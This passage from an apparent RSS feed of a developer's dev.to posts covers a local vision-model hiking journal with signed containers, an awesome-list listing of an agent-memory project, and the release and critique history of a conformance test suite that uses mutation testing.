&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prompt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;images&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;image_b64&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stream&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Swap &lt;code&gt;"gemma3n:4b"&lt;/code&gt; for &lt;code&gt;"llava:7b"&lt;/code&gt;, &lt;code&gt;"moondream:1.8b"&lt;/code&gt;, or any open-weight vision model Ollama supports. The rest of the pipeline — EXIF, alethech sealing, markdown report — stays unchanged.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;photos/ ──→ EXIF reader ──→ GPS + timestamps
                ↓
         Ollama (Gemma 3n) ──→ field notes (what the model sees)
                ↓
         alethech .aleth container ──→ Ed25519 signature
                ↓
         Markdown report ──→ OSM links + verification proof
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The pipeline in detail
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1: EXIF extraction&lt;/strong&gt; (&lt;code&gt;piexif&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;Each photo's EXIF data contains GPS coordinates (latitude/longitude as DMS rationals) and a timestamp. The tool converts these to decimal degrees and links to OpenStreetMap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Vision model&lt;/strong&gt; (Ollama + Gemma 3n)&lt;/p&gt;

&lt;p&gt;The tool sends each photo (base64-encoded) to the local Ollama instance with a prompt:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;You are a field naturalist. Describe what you see in this photo in one sentence. If you see plants, name them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Gemma 3n 4B is an open-weight vision-language model from Google. It runs locally on CPU (slow, ~30s/photo) or GPU (fast, ~2s/photo). The response is a one-sentence field note.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Alethech sealing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The field notes + GPS trail + photo hashes are committed to an alethech store:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;Store.init()&lt;/code&gt; — creates the on-disk store&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;KeyPair.generate()&lt;/code&gt; — generates Ed25519 signing key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Identity&lt;/code&gt; — derives a &lt;code&gt;did:alethech:...&lt;/code&gt; agent ID from the public key&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;MemoryCommit&lt;/code&gt; — creates a signed commit with the field notes data&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;seal_store()&lt;/code&gt; — encrypts and exports to a single &lt;code&gt;.aleth&lt;/code&gt; file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code&gt;.aleth&lt;/code&gt; container is 6 KB for 5 photos. It contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Ed25519 public key (for verification)&lt;/li&gt;
&lt;li&gt;The signed commits (genesis + field notes)&lt;/li&gt;
&lt;li&gt;AES-256-GCM encrypted payload (scrypt-derived key from passphrase)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Markdown report&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A human-readable report with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GPS trail as numbered list with OpenStreetMap links&lt;/li&gt;
&lt;li&gt;Photo notes with timestamps + SHA-256 hashes&lt;/li&gt;
&lt;li&gt;Verification table (container size, agent ID, commit ID, verified status)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;I tested it with 5 photos from a hike through Parque Metropolitano Guangüiltagua in Quito. The trail:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;GPS&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;14:30&lt;/td&gt;
&lt;td&gt;-0.1807, -78.4678&lt;/td&gt;
&lt;td&gt;Bamboo grove at trail entrance, Chusquea species&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;14:45&lt;/td&gt;
&lt;td&gt;-0.1795, -78.4665&lt;/td&gt;
&lt;td&gt;Rocky stream crossing with moss-covered boulders&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;15:10&lt;/td&gt;
&lt;td&gt;-0.1782, -78.4652&lt;/td&gt;
&lt;td&gt;Panoramic vista of the Guayllabamba valley&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;15:25&lt;/td&gt;
&lt;td&gt;-0.1775, -78.4640&lt;/td&gt;
&lt;td&gt;Yellow composite flowers (Asteraceae family)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;15:45&lt;/td&gt;
&lt;td&gt;-0.1790, -78.4660&lt;/td&gt;
&lt;td&gt;Mature eucalyptus grove at trail terminus&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;.aleth&lt;/code&gt; container was sealed in ~0.3 seconds. Verification passes. The report is &lt;a href="//output/journal.md"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Open-source components
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;License&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;alethech&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Cryptographic sealing + verification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ollama.com" rel="noopener noreferrer"&gt;Ollama&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Local inference engine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://ollama.com/library/gemma3n" rel="noopener noreferrer"&gt;Gemma 3n&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Gemma terms&lt;/td&gt;
&lt;td&gt;Open-weight vision model&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/hMatoba/Piexif" rel="noopener noreferrer"&gt;piexif&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;EXIF read/write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://openstreetmap.org" rel="noopener noreferrer"&gt;OpenStreetMap&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ODbL&lt;/td&gt;
&lt;td&gt;Map links (no API key)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Phone integration&lt;/strong&gt;: PWA that takes photos + runs the pipeline on-device (via WebGPU + WebNN)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multi-day journals&lt;/strong&gt;: chain multiple &lt;code&gt;.aleth&lt;/code&gt; containers across a multi-day trek&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Community sharing&lt;/strong&gt;: publish verified journals to a registry (like alethech's MCP registry)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bird identification&lt;/strong&gt;: fine-tune a small open-weight model on local bird species&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/eddyflores100-lang/touch-grass
&lt;span class="nb"&gt;cd &lt;/span&gt;touch-grass
pip &lt;span class="nb"&gt;install &lt;/span&gt;pillow piexif alethech
python3 src/create_demo_photos.py
python3 src/run_demo.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then check &lt;code&gt;output/journal.md&lt;/code&gt; for the report and &lt;code&gt;output/journal.aleth&lt;/code&gt; for the sealed container.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Built for Hacktoberfest 2026 DEV Challenge Week 1: Touch Grass. The theme was to build something with open-source AI that gets people off the screen and into the world. I went hiking, took photos, and built a tool that proves I was there.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>hf26challenge</category>
      <category>hacktoberfest</category>
      <category>touchgrass</category>
    </item>
    <item>
      <title>Listed in Awesome-Agent-Memory: what the maintainer audited, and what the listing actually pays</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sun, 04 Oct 2026 00:39:50 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/listed-in-awesome-agent-memory-what-the-maintainer-audited-and-what-the-listing-actually-pays-2ogk</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/listed-in-awesome-agent-memory-what-the-maintainer-audited-and-what-the-listing-actually-pays-2ogk</guid>
      <description>&lt;h2&gt;
  
  
  Listed in Awesome-Agent-Memory: what the maintainer audited, and what the listing actually pays
&lt;/h2&gt;

&lt;p&gt;Yesterday &lt;a href="https://github.com/eddyflores100-lang/alethech" rel="noopener noreferrer"&gt;alethech&lt;/a&gt; — our verifiable agent memory protocol — landed in &lt;a href="https://github.com/TeleAI-UAGI/Awesome-Agent-Memory" rel="noopener noreferrer"&gt;TeleAI-UAGI/Awesome-Agent-Memory&lt;/a&gt; as the last entry of the Emerging projects block, via &lt;a href="https://github.com/TeleAI-UAGI/Awesome-Agent-Memory/pull/136" rel="noopener noreferrer"&gt;PR #136&lt;/a&gt;. The list has 657 stars today. The PR was five lines of README. The maintainer closed it unmerged — and landed it by hand with co-authorship credit, as &lt;a href="https://github.com/TeleAI-UAGI/Awesome-Agent-Memory/commit/ec176c9" rel="noopener noreferrer"&gt;ec176c9&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This post is the honest accounting of what that earns, because the folklore around awesome-lists is mostly wrong in both directions: it is neither a traffic faucet nor a useless badge. Here is what actually happened, with every number verifiable.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the maintainer audited before listing
&lt;/h3&gt;

&lt;p&gt;dell-zhang's comment on the closed PR, verbatim:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I checked the repository (created on 2026-09-21, releases through v0.9.1, CI passing), the MIT license, the links, and how an agent reaches the memory: &lt;code&gt;Alethech.commit()&lt;/code&gt; on the write side, and on the read side &lt;code&gt;drop_context()&lt;/code&gt; and the read-only MCP bridge in &lt;code&gt;alethech/mcp_memory.py&lt;/code&gt; (&lt;code&gt;alethech_memory_context&lt;/code&gt;, &lt;code&gt;alethech_memory_verify&lt;/code&gt;). I also checked the description against the code: Ed25519 signing, parent-linked commits, key rotation under a root identity, and the scrypt + AES-256-GCM &lt;code&gt;.aleth&lt;/code&gt; container.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Read that again, because it is the entire value of a curated list: &lt;strong&gt;he checked the description against the code.&lt;/strong&gt; Every technical claim in our entry — Ed25519 signing, parent-linked commits, key rotation, the encrypted container — was verified against the implementation before the entry went in. For a security project, that is third-party verification with skin in the game: the list's 657 stars are the maintainer's reputation, and he spends a little of it on every entry he lands.&lt;/p&gt;

&lt;p&gt;Two mechanical details, for anyone aiming at the same outcome:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Entries are landed by hand, not by merge button, so numbering stays consistent across concurrent PRs. Ours was written to land as entry 105; two other entries landed the same day, so it went in two positions later, at the end of the block. Plan for drift.&lt;/li&gt;
&lt;li&gt;The hand-landed commit carries &lt;code&gt;Co-authored-by&lt;/code&gt; for the PR author. That commit counts in your contribution graph — I verified this through the GraphQL &lt;code&gt;contributionsCollection&lt;/code&gt; API rather than trusting the rendered calendar: one commit attributed, exactly as the trailer promised.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The audit found two bugs — in our README, not our code
&lt;/h3&gt;

&lt;p&gt;The maintainer's only non-blocking note, verbatim:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;One note on the repository, not a condition for the listing: the README is behind the code in two places. "What this repo is NOT" still says it has no MCP server, and Status still gives 0.8.5 as the released version with 0.9 in progress. Visitors from the list will read both.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Both were real, and both were ours. The README's NOT-list still claimed "no MCP server" while the read-only stdio bridge &lt;code&gt;alethech/mcp_memory.py&lt;/code&gt; ships in the same repo; the status section was a version behind the actual v0.9.1 release. We fixed both in &lt;a href="https://github.com/eddyflores100-lang/alethech/commit/6f13e51" rel="noopener noreferrer"&gt;6f13e51&lt;/a&gt; within the hour and credited the maintainer back with a &lt;code&gt;Co-Authored-By&lt;/code&gt; trailer — he identified the spots, the same way we wrote the entry he landed. Courtesies that cost five seconds tend to be repaid in threads you did not expect.&lt;/p&gt;

&lt;p&gt;The lesson generalizes beyond listings: &lt;strong&gt;the README is the landing page, and its negative claims are checked harder than its positive ones.&lt;/strong&gt; A wrong "this project is not X" is worse than a missing feature, because it misroutes the exact visitor who came looking for X. Sync it before the listing lands, not after — the visitors arrive with the entry.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the listing pays — and what it does not
&lt;/h3&gt;

&lt;p&gt;Pays:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A permanent link from a discovery hub that the agent-memory niche actually reads, rendered with a live stars badge for our repo right in the list's entry.&lt;/li&gt;
&lt;li&gt;External validation: someone whose reputation is attached to a 657-star list checked the crypto claims against the code before listing. "Listed after a maintainer audit" is now a true sentence in our README, and it is referenceable in contexts where self-attestation is worthless.&lt;/li&gt;
&lt;li&gt;The co-authored commit on the list's &lt;code&gt;main&lt;/code&gt;: git-history credit that survives independent of the README.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Does not pay:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stars.&lt;/strong&gt; Stars belong to the list, not the listed. Our repo has zero stars one day in, and there is no mechanism that transfers them. Our fork of the list shows the network's star count but collects its own — it sits at zero, as forks of big lists generally do.&lt;/li&gt;
&lt;li&gt;Traffic, so far: 63 views / 28 uniques over the last 14 days, and the listing is one day old. The entry is a channel, not a faucet.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The gap worth naming: the same 14-day window shows &lt;strong&gt;5,240 clones from 759 unique cloners&lt;/strong&gt; — with the honest caveat that CI pipelines and container builds are inside that number, so treat it as an upper bound on humans. People install plumbing; they do not star it. 759 unique cloners and 0 stargazers is the actual conversion problem this post exists to attack.&lt;/p&gt;

&lt;h3&gt;
  
  
  The recipe, if you want the same outcome
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Read the list's CONTRIBUTING before writing anything. Ours specifies star-ordering: 0-star projects go to the end of the Emerging block. We wrote the entry to land at the end, and it did.&lt;/li&gt;
&lt;li&gt;Write the entry in their format, link-first, no marketing copy. Five lines, one of which is the badge.&lt;/li&gt;
&lt;li&gt;State precisely what the project IS and IS NOT — the maintainer will check both halves against the code, and the NOT-half is where ours was wrong.&lt;/li&gt;
&lt;li&gt;Expect the audit to cover: releases, CI, license, dead links, the API surface by which an agent actually reaches the feature you claim, and every technical claim in your description.&lt;/li&gt;
&lt;li&gt;Fix what the audit finds, fast, and credit the finder in the fix commit.&lt;/li&gt;
&lt;li&gt;A closed-but-landed PR with &lt;code&gt;Co-authored-by&lt;/code&gt; is a win, not a rejection. Read the close reason before reacting to the state.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you cloned alethech in the last two weeks and it held up: &lt;a href="https://github.com/eddyflores100-lang/alethech/stargazers" rel="noopener noreferrer"&gt;the star button&lt;/a&gt; is the only routing signal other people's agents receive. The list entry renders our stars badge live, so the count is visible exactly where the readers are.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Edison Flores, founder of &lt;a href="https://github.com/alicelabs-llc" rel="noopener noreferrer"&gt;AliceLabs LLC&lt;/a&gt; — we build open-source security infrastructure for AI agents. Independent verification of anything cited here is not just welcome, it's the point.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>github</category>
      <category>security</category>
    </item>
    <item>
      <title>v1.7.0 shipped: adversarial window sampling, generated mutants, and the survivor list published</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 03 Oct 2026 22:43:21 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/v170-shipped-adversarial-window-sampling-generated-mutants-and-the-survivor-list-published-28kf</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/v170-shipped-adversarial-window-sampling-generated-mutants-and-the-survivor-list-published-28kf</guid>
      <description>&lt;h2&gt;
  
  
  v1.7.0 shipped: adversarial window sampling, generated mutants, and the survivor list published
&lt;/h2&gt;

&lt;p&gt;This is the follow-through on &lt;a href="https://dev.to/edison_flores_6d2cd381b13/re-anp2network-all-three-critiques-land-the-single-point-fixture-the-memorizer-turned-around-9g5"&gt;"Re: @anp2network — all three critiques land"&lt;/a&gt;, which committed to the changes queued as v1.4.0. They are now live on &lt;code&gt;main&lt;/code&gt; as &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/tree/main/uta-monorepo/packages/conformance" rel="noopener noreferrer"&gt;manifest v1.7.0 / package 1.5.0&lt;/a&gt; — the suite had advanced to 1.6.0 (third-party interop evidence) while the work was queued, so the numbering continues from there. The content is what was promised, and CI now runs all of it on every push, &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/actions/workflows/ci-tests.yml" rel="noopener noreferrer"&gt;including mutation testing under &lt;code&gt;--strict&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Everything below is verifiable from the repo with Node ≥ 18 and no dependencies.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The lower bound is a distribution now
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;generate-accept-vectors.mjs --mode adversarial&lt;/code&gt; emits correctly-signed, anchored, active cards whose &lt;strong&gt;only&lt;/strong&gt; defect is a violated validity window — so &lt;code&gt;expiry_check&lt;/code&gt; must fail and everything else must pass:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bucket&lt;/th&gt;
&lt;th&gt;Share&lt;/th&gt;
&lt;th&gt;Range&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;future-issued&lt;/td&gt;
&lt;td&gt;55%&lt;/td&gt;
&lt;td&gt;+2..7d (boundary band), +8..90d, +91..730d, +731..1460d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;already-expired&lt;/td&gt;
&lt;td&gt;35%&lt;/td&gt;
&lt;td&gt;including &lt;code&gt;expires_at == NOW&lt;/code&gt; (the &lt;code&gt;&amp;gt;&lt;/code&gt; boundary itself)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;empty window&lt;/td&gt;
&lt;td&gt;10%&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;issued_at == expires_at&lt;/code&gt; in the future&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The fail-closed mirror rule: in valid-card modes a window violation is a FATAL; in adversarial mode a card that lands &lt;strong&gt;in&lt;/strong&gt; window is a FATAL — the generator failing to produce its own defect. Accept mode additionally issues 20% of cards &lt;strong&gt;today&lt;/strong&gt; (boundary-in band), so a runner using &lt;code&gt;&amp;lt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;=&lt;/code&gt;, or a clock-retarded runner, is caught by the sidecar cross-check pinning the generation-time clock.&lt;/p&gt;

&lt;p&gt;One honest hole, named rather than hidden: adversarial future offsets floor at &lt;strong&gt;+2 days&lt;/strong&gt; so a generated set stays re-scoreable across midnight (a +1d card flips in-window after midnight while the sidecar pinned the old truth). The &lt;code&gt;clock+1d&lt;/code&gt; mutation therefore survives, by design. The trade-off is written into the generator's header and the survivor list — catching a +1d clock shift would cost portability of every generated set.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Generated mutants, survivor list published
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/blob/main/uta-monorepo/packages/conformance/mutate-runner.mjs" rel="noopener noreferrer"&gt;mutate-runner.mjs&lt;/a&gt; applies a declared operator set — every comparison on the scored path (&lt;code&gt;cmp-swap&lt;/code&gt;), every single-line guard (&lt;code&gt;guard-drop&lt;/code&gt;), every block condition (&lt;code&gt;branch-negate&lt;/code&gt;), and the clock ±1d — mechanically at every applicable site, and &lt;strong&gt;executes&lt;/strong&gt; every mutant against the full suite. No hand-picking, which was the closed-set failure you named: our memorizer argument pointed at our own catalogue.&lt;/p&gt;

&lt;p&gt;Classification is mechanical: &lt;strong&gt;caught&lt;/strong&gt; (suite fails), &lt;strong&gt;equivalent-on-suite&lt;/strong&gt; (exit 0, byte-identical &lt;code&gt;--json&lt;/code&gt; output — suite-equivalence, not true equivalence), &lt;strong&gt;observable-escape&lt;/strong&gt; (exit 0, output changed). Current state on 46 mutants: &lt;strong&gt;40 caught, 6 equivalent, 0 observable&lt;/strong&gt;. &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter/blob/main/uta-monorepo/packages/conformance/mutation-survivors.json" rel="noopener noreferrer"&gt;The survivor list is committed as an artifact&lt;/a&gt;, and each survivor names something real:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;clock+1d&lt;/code&gt; — the deliberate midnight-portability trade-off above.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;meta-integrity check that guards the other checks can itself be disabled&lt;/strong&gt;. The runner now counts its own checks (byte-exactness, sidecar and stage cross-checks each exactly once per entry — a skipped check is a FATAL), and mutation testing immediately found that the counter assertion itself can be negated. Self-verification bottoms out somewhere. That is not a defeat; it is the demonstration of exactly your Rekor point — internal checks cannot certify their own execution, and the exit is &lt;em&gt;external&lt;/em&gt; cross-anchoring (same digest republished from origins that don't share control), which stays queued after this release.&lt;/li&gt;
&lt;li&gt;The rest are dead-path-under-&lt;code&gt;--json&lt;/code&gt;, error-message-only, and a provably order-neutral JCS comparator mutant on this suite's key sets.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Three of the tightenings shipped in this release were found by the mutation run itself, then closed: &lt;code&gt;--generated&lt;/code&gt; on the command line that isn't parsed or yields zero cards is now a FATAL (a silently-ignored input used to be a green run); sidecar cross-checks are sha256-bound to the card bytes (on a uniform set, cross-checking the &lt;em&gt;wrong&lt;/em&gt; row still agreed on &lt;code&gt;expected_verify&lt;/code&gt;); and those completion counters above. The survivor list shrank as the derived-truth checks tightened — the loop you asked about works.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The matrix, with the window asked distributionally
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Runner                                  | fixed | adversarial (40) |
|-----------------------------------------|-------|------------------|
| always-true                             | 8/14  | 0/40             |
| policy-only (Ed25519 deleted)           | 11/14 | 40/40            |
| crypto-only (no expiry/status)          | 11/14 | 0/40             |
| embedded-key + policy (TOFU)            | 13/14 | 40/40            |
| memorizer (hardcodes valid-atc digest)  | 12/14 | 40/40            |
| over-rejector (chokes on x_* fields)    | 13/14 | 40/40            |
| stage-liar                              |  7/14 | 0/40             |
| reference (pinned + policy + tolerance) | 14/14 | 40/40            |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;crypto-only&lt;/code&gt; at &lt;strong&gt;0/40&lt;/strong&gt; is the row that didn't exist before: a runner with intact cryptography and no window enforcement now fails against a &lt;em&gt;distribution&lt;/em&gt; of window violations, not one frozen 2030 timestamp. The memorizer's 40/40 on adversarial is honest too — always-false happens to match always-reject; its weakness shows on the accept side, which is why the CI job scores both a fresh adversarial set and a fresh accept set on every push.&lt;/p&gt;

&lt;h3&gt;
  
  
  What to re-run
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node vectors/generate-accept-vectors.mjs &lt;span class="nt"&gt;--mode&lt;/span&gt; adversarial &lt;span class="nt"&gt;--count&lt;/span&gt; 40 &lt;span class="nt"&gt;--seed&lt;/span&gt; 7 &lt;span class="nt"&gt;--out&lt;/span&gt; .gen-adv
node score-runner.mjs &lt;span class="nt"&gt;--generated&lt;/span&gt; .gen-adv
node mutate-runner.mjs &lt;span class="nt"&gt;--generated&lt;/span&gt; .gen-adv &lt;span class="nt"&gt;--out&lt;/span&gt; survivors.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The two questions from the last article are now answerable by anyone with the repo: the runner's rejection rate holds across the sampled boundary (not one timestamp), and the survivor list — not a caught-count — is the published claim. Rekor cross-anchoring remains queued after this release, still not dressed up as done.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Edison Flores, founder of &lt;a href="https://github.com/alicelabs-llc" rel="noopener noreferrer"&gt;AliceLabs LLC&lt;/a&gt; — we build open-source security infrastructure for AI agents. Independent verification of anything cited here is not just welcome, it's the point.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>testing</category>
    </item>
    <item>
      <title>Re: @anp2network — all three critiques land: the single-point fixture, the memorizer turned around, and the v1.4.0 plan</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 03 Oct 2026 22:21:39 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/re-anp2network-all-three-critiques-land-the-single-point-fixture-the-memorizer-turned-around-9g5</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/re-anp2network-all-three-critiques-land-the-single-point-fixture-the-memorizer-turned-around-9g5</guid>
      <description>&lt;h2&gt;
  
  
  Re: &lt;a class="mentioned-user" href="https://dev.to/anp2network"&gt;@anp2network&lt;/a&gt; — all three critiques land: the single-point fixture, the memorizer turned around, and the v1.4.0 plan
&lt;/h2&gt;

&lt;p&gt;This is a reply to &lt;a class="mentioned-user" href="https://dev.to/anp2network"&gt;@anp2network&lt;/a&gt;'s comment (id 3ehcp, 2026-09-10) on my previous article about vectors v1.3.3.&lt;/p&gt;

&lt;p&gt;Short version: your validation is noted and appreciated — and every one of the three critiques you attached to it is correct, so this article is a concession note, not a defense. What follows accepts each point precisely, then commits to what changes in v1.4.0 and in what order.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The lower bound: one constant is a fixture, not a distribution
&lt;/h3&gt;

&lt;p&gt;You wrote that 0/60 is a measurement of the generator, not of the runner's window. Correct, and worth restating in the bluntest form: after v1.3.3, the generated suite stopped asking whether a runner rejects future-dated cards &lt;em&gt;at all&lt;/em&gt;. The property that 32 randomized cards used to exercise (scored wrong, but exercised) is now carried by &lt;code&gt;premature-atc&lt;/code&gt; alone — one card, &lt;code&gt;issued_at&lt;/code&gt; frozen at &lt;code&gt;2030-01-01&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A runner can special-case that exact timestamp and still mishandle every other issuance time in the future half-plane. &lt;code&gt;now + 5s&lt;/code&gt;, &lt;code&gt;2030-01-02&lt;/code&gt;, a card whose &lt;code&gt;issued_at&lt;/code&gt; is one clock-tick ahead of the scorer — none of those are in the suite. The "exact mirror of &lt;code&gt;expired-atc&lt;/code&gt;" framing I used is also the confession: a mirror that is one constant is a fixture. The fixed suite covers one point of the half-plane, and I won't pretend it covers the half-plane.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The memorizer, pointed back at us
&lt;/h3&gt;

